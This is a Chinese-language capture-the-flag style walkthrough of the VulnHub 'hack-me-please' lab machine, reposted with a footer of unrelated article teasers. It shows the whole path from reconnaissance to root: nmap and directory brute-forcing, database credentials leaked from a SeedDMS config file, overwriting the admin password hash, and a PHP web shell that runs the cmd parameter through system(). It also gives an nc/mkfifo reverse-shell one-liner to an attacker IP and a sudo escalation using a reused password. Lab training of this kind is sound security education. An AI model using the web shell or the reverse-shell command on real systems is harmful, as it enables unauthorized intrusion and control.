vulnhub靶場之【hack-me-please靶機】

前言

靶機:billu_b0x2靶機,IP地址為192.168.10.8

攻擊:kali,IP地址為192.168.10.6

靶機和攻擊機都采用VMware虛擬機,都采用橋接網卡模式

文章涉及的靶機及工具,都可以自行訪問官網或者項目地址進行獲取,或者通過網盤鏈接下載 https://pan.quark.cn/s/b29972b79f71

主機發現

也就是相當于現實環境中去發現確定主機的ip地址,因為這里是靶機環境,所以跳過了從域名到ip地址的過程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

當然也可以使用nmap等工具進行

arp-scan -l

信息收集

使用nmap掃描目標端口等信息

首先掃描目標的tcp端口的開放情況

nmap -sT --min-rate=1000 192.168.10.8 -p- -oA nmap-tcp

再掃描udp端口的開放情況

nmap -sU --min-rate=1000 192.168.10.8 --top-ports 20 -oA nmap-udp

可以看到明確開放的udp端口沒有,所以下面對tcp端口進行一個篩選

ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

進一步對這些端口進行服務、系統等探測

nmap -sV -O -sC 192.168.10.8 -p $ports --min-rate=1000 -oA detail

再使用nmap的漏洞檢測腳本對這些端口進行探測

nmap --script=vuln 192.168.10.8 -p $ports -oA vuln

網站信息探測

訪問80端口網站,這里因為請求涉及國外的鏈接,所以建議代理一下

查看頁面源代碼并沒有信息泄露,那么使用whatweb或瀏覽器插件wappalyzer進行配置識別

whatweb http://192.168.10.8 -v

使用gobuster等目錄爆破工具進行測試

gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md

訪問這些目錄基本上沒什么效果。都是403無權訪問,既然無權,那么之前查看頁面源代碼的時候,發現有文件指向,不知道能否訪問

點擊后,發現可以訪問,那么就是哪個目錄不能訪問,但是有文件就可以,依次查看。在/js/main.js中發現了一個目錄/seeddms51x/seeddms-5.1.22/

訪問這個目錄發現,是一個登錄界面,并且可以看到所謂的cms,是seeddms,并且版本應該是5.1.22

使用searchsploit搜索對應版本的漏洞,發現并沒有

那么對這個目錄再深入進行目錄爆破,能否發現更深的信息,先對外層目錄測試

dirsearch -u http://192.168.10.8/seeddms51x -x 403,404 -e js,php,xml,txt,md -r

發現在conf下有一個文件settings.xml,那么訪問,發現代碼有點亂

數據庫數據覆蓋

那么查看頁面源代碼,在其中一項發現數據庫連接賬戶和密碼

之前數據庫端口3306是開放的,那么直接訪問,并以用戶名seeddms和密碼seeddms進行登錄

mysql -h 192.168.10.8 -P 3306 -useeddms -pseeddms --skip-ssl

這時候去查看表,發現有users,那么直接查看這個users中的數據

目前只有網站登錄,并且這個數據庫的名稱應該就是網站的后臺數據庫,密碼為Saket@#$1337

訪問之前的登錄界面/seeddms51x/seeddms-5.1.22/

但是以這個無法登錄,發現數據庫中還有一個表tblUsers,再查看一下

兩個用戶,其中guest用戶沒有密碼,admin用戶的密碼是經過加密的,可能是md5,不知道是否加鹽,那么就破解一下,借助網站cmd5.comsomd5.com都沒有破解出,那么嘗試進行密碼更新

首先借助openssl生成md5加密的字符

echo -n '123456' | openssl md5

然后在數據庫中執行命令替換密碼

update tblUsers set pwd='e10adc3949ba59abbe56e057f20f883e' where id=1;

這時候再去網站登錄界面,以用戶名admin和密碼123456成功登錄目標

文件上傳漏洞

在測試幾個界面后,發現一個添加文檔的界面,可以上傳文件,之前確定網站為php語言,那么可能存在文件上傳的漏洞,進行測試

點擊下面的添加文檔后,雖然跳轉顯示為500,但是經過查看,發現文件上傳成功了,不過就是不知道文件路徑

上傳的時候提示的路徑http://192.168.10.8/seeddms51x/seeddms-5.1.22/op/op.AddDocument.php是表單處理的,但是訪問的時候,無法訪問,還是不知道把數據搞哪去了

不過查看管理員工具中的設置,發現上傳路徑在data

然后在高級設置中,發現了所謂的“內容偏移目錄”,這可能與上傳目錄有關,嘗試拼接

可以看到這里是無權,不是沒有該文件或目錄,后面的信息,不知道, 那么嘗試爆破吧

dirsearch -u http://192.168.10.8/seeddms51x/data/1048576 -x 403,404 -e php -r

為什么三個,因為我后面又上傳了三個文件,這里可以發現,每上傳一個php文件,其目錄會遞增,不過文件名是一樣。現在上傳一個可以命令執行的php代碼,或者可以直接反彈shell的代碼。

訪問其中一個,測試發現php代碼解析了

我這里就上傳文件執行的代碼為示例

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

這時候再上傳這個文件,訪問的時候,直接訪問/data/1048576/7/1.php,發現成功

這時候就是文件上傳到命令執行了

執行反彈shell的命令,當然需要先在kali開啟監聽

nc -lvnp 9999

這時候再構造反彈shell的命令,進行測試

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f

查看靶機內安裝python沒有,安裝的話,什么版本

compgen -c | grep python

然后使用python加一層shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

提權

查看當前系統內的用戶,發現有saket用戶,好眼熟,前面在一個數據庫中看到過這個用戶,密碼是Saket@#$1337

使用find尋找具有SUID權限的文件

find / -perm -4000 -print 2>/dev/null

發現有susudo,那么嘗試切換用戶saket,密碼就是這個Saket@#$1337

使用sudo -l可以看到對于用戶saket,所有的命令都可以sudo執行

我直接一個sudo -s提權到root

總結

該靶機主要考察的就是信息收集

js文件中信息發現---->訪問路徑---->目錄爆破---->發現配置文件---->找到數據庫信息---->登錄網站---->文件上傳----->php命令執行---->反彈shell---->sudo提權

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/74204.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/74204.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/74204.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

機器學習——KNN模型評價

一、主要函數 sklearn.metrics.accuracy_score() 是 scikit-learn 中用于計算分類模型準確率的函數&#xff0c;適用于評估分類任務的整體性能。 1、核心功能 作用&#xff1a;計算模型預測的準確率&#xff0c;即正確分類的樣本數占總樣本數的比例。公式&#xff1a;Accurac…

美國國家數據浮標中心(NDBC)

No.大劍師精品GIS教程推薦0地圖渲染基礎- 【WebGL 教程】 - 【Canvas 教程】 - 【SVG 教程】 1Openlayers 【入門教程】 - 【源代碼示例 300】 2Leaflet 【入門教程】 - 【源代碼圖文示例 150】 3MapboxGL【入門教程】 - 【源代碼圖文示例150】 4Cesium 【入門教程】…

Qt調用Miniconda的python方法

1、 Win 64環境下載及安裝 Miniconda 首先下載Windows 版Miniconda&#xff0c;https://docs.conda.io/en/latest/miniconda.html或 https://repo.anaconda.com/miniconda/ 安裝界面及選擇如下圖所示&#xff1a; 安裝完python3.12版報錯如下。 說明&#xff1a;python3.11版…

Unity 與 JavaScript 的通信交互:實現跨平臺的雙向通信

前言 在現代游戲開發和 Web 應用中&#xff0c;Unity 和 JavaScript 的結合越來越常見。Unity 是一個強大的跨平臺游戲引擎&#xff0c;而 JavaScript 是 Web 開發的核心技術之一。通過 Unity 和 JavaScript 的通信交互&#xff0c;開發者可以實現從 Unity 到 Web 頁面的功能擴…

汽車免拆診斷案例 | 2024 款路虎發現運動版車無法正常識別智能鑰匙

故障現象  一輛2024款路虎發現運動版車&#xff0c;搭載2.0 L發動機&#xff0c;累計行駛里程約為5 000 km。車主反映&#xff0c;使用遙控器無法解鎖車門&#xff0c;隨后使用機械鑰匙打開車門&#xff0c;踩下制動踏板&#xff0c;按壓起動按鈕&#xff0c;儀表盤提示“將智…

跟著StatQuest學知識06-CNN進行圖像分類

目錄 一、CNN特點 二、CNN應用于圖像分類 &#xff08;一&#xff09;使用過濾器 &#xff08;二&#xff09;通過ReLU激活函數 &#xff08;三&#xff09;應用新的濾波器&#xff08;池化&#xff09; &#xff08;四&#xff09;輸入 &#xff08;五&#xff09;輸出…

OpenHarmony 開源鴻蒙北向開發——linux使用make交叉編譯第三方庫

這幾天搞鴻蒙&#xff0c;需要編譯一些第三方庫到鴻蒙系統使用。 頭疼死了&#xff0c;搞了一個多星期總算搞定了。 開貼記坑。 一、SDK下載 1.下載 在linux下使用命令 wget https://cidownload.openharmony.cn/version/Master_Version/OpenHarmony_5.1.0.54/20250313_02…

Selenium Web UI自動化測試:從入門到實戰

引言 在當今快速迭代的軟件開發周期中&#xff0c;自動化測試已成為保障產品質量、提升測試效率的核心手段之一。而針對Web應用的UI自動化測試&#xff0c;Selenium作為最流行的開源工具之一&#xff0c;憑借其跨瀏覽器、多語言支持&#xff08;Python、Java、C#等&#xff09…

Java 大視界 -- Java 大數據中的數據隱私保護技術在多方數據協作中的應用(147)

&#x1f496;親愛的朋友們&#xff0c;熱烈歡迎來到 青云交的博客&#xff01;能與諸位在此相逢&#xff0c;我倍感榮幸。在這飛速更迭的時代&#xff0c;我們都渴望一方心靈凈土&#xff0c;而 我的博客 正是這樣溫暖的所在。這里為你呈上趣味與實用兼具的知識&#xff0c;也…

編程考古-安德斯·海爾斯伯格(Anders Hejlsberg)回答離開Borland的原因

安德斯海爾斯伯格&#xff08;Anders Hejlsberg&#xff09;是著名的編程語言和工具開發者&#xff0c;曾主導開發了 Turbo Pascal、Delphi&#xff08;Borland 時期&#xff09;&#xff0c;以及加入微軟后參與的 C# 和 TypeScript。關于他離開 Borland 的原因&#xff0c;可以…

西門子仿真實例位置

C:\Users\san\Documents\Siemens\Simatic\Simulation\Runtime\Persistence S7-PLCSIM Advanced V3.0 可以打開文件&#xff0c;刪除重建

【數據庫系統原理】Ch7 數據庫應用設計與開發實例

目錄 大綱7.1 需求描述與分析7.2 系統設計7.3 系統實現7.4 系統測試與維護 習題真題2024-102024-042023-102023-042022-10 大綱 7.1 需求描述與分析 熟悉需求描述與分析的方法,達到"領會"層次。 7.2 系統設計 熟悉根據需求的描述劃分系統的功能模塊,能夠進行初步…

使用 Python 的turtle庫繪制精美圖形

在 Python 編程的世界里&#xff0c;turtle庫是一個非常有趣且實用的工具&#xff0c;它為初學者和有經驗的開發者提供了一個簡單而直觀的方式來進行圖形繪制。本文將詳細講解如何使用turtle庫繪制不同的圖形&#xff0c;包括六邊形、一個特定的多邊形&#xff0c;以及一個由線…

基于linux平臺的C語言入門教程(5)基本數據類型

文章目錄 1. 什么是數據類型&#xff1f;2. C 語言的基本數據類型3. 數據類型的存儲大小4. 示例代碼代碼解析&#xff1a;輸出結果&#xff1a; 5. 常見問題問題 1&#xff1a;float 和 double 的區別是什么&#xff1f;問題 2&#xff1a;unsigned 類型可以存儲負數嗎&#xf…

Bellman_ford 算法——解決負權邊最短路徑問題

卡碼網:94. 城市間貨物運輸 I 94. 城市間貨物運輸 I 題目描述 某國為促進城市間經濟交流,決定對貨物運輸提供補貼。共有 n 個編號為 1 到 n 的城市,通過道路網絡連接,網絡中的道路僅允許從某個城市單向通行到另一個城市,不能反向通行。 網絡中的道路都有各自的運輸成本…

mysql——第二課

學生表 CREATE TABLE student (id int(11) NOT NULL AUTO_INCREMENT,name varchar(255) COLLATE utf8mb4_bin DEFAULT NULL,sex varchar(255) COLLATE utf8mb4_bin DEFAULT NULL,age int(11) DEFAULT NULL,c_id int(10) DEFAULT NULL,PRIMARY KEY (id),KEY c_id (c_id),CONSTR…

圖解 ThreadLocal

在 Java 多線程編程的世界里&#xff0c;ThreadLocal 是一個非常實用的工具&#xff0c;它為每個線程提供了獨立的變量副本&#xff0c;避免了多線程環境下的變量共享問題。今天&#xff0c;我們就從內存視角出發&#xff0c;通過一張圖來深入理解 ThreadLocal 的工作原理&…

Sql Server 索引性能優化 分析以及分表

定位需優化語句 根據工具 skywking 或者開啟慢查詢日志 找到 慢sql 的語句根據 執行過程 來 判斷 慢的原因 row filter 指標 看查了多少數據 比例多少 type 看下是單表 還是 join聯表 比如 執行步驟多 沒索引 優化方向 減少執行次數索引 沒索引考慮加索引 加索引 盡量選擇 i…

@JsonSerialize注解

1.簡介 JsonSerialize注解可以自定義改變返回前端的內容,比如:將Student實體類的age字段的值在返回前端之前,由20改為21. 要用到jackson-databind依賴包,在Spring Boot項目中&#xff0c;默認已經集成了Jackson&#xff0c;因此你不需要手動引入Jackson庫。 2.上例子 將Stud…

Java面試黃金寶典5

1. ConcurrentHashMap 和 HashTable 有哪些區別 原理 HashTable&#xff1a;它繼承自 Dictionary 類&#xff0c;是 Java 早期提供的線程安全哈希表。其線程安全的實現方式是對每個方法都使用 synchronized 關鍵字進行同步。例如&#xff0c;在調用 put、get 等方法時&#xff…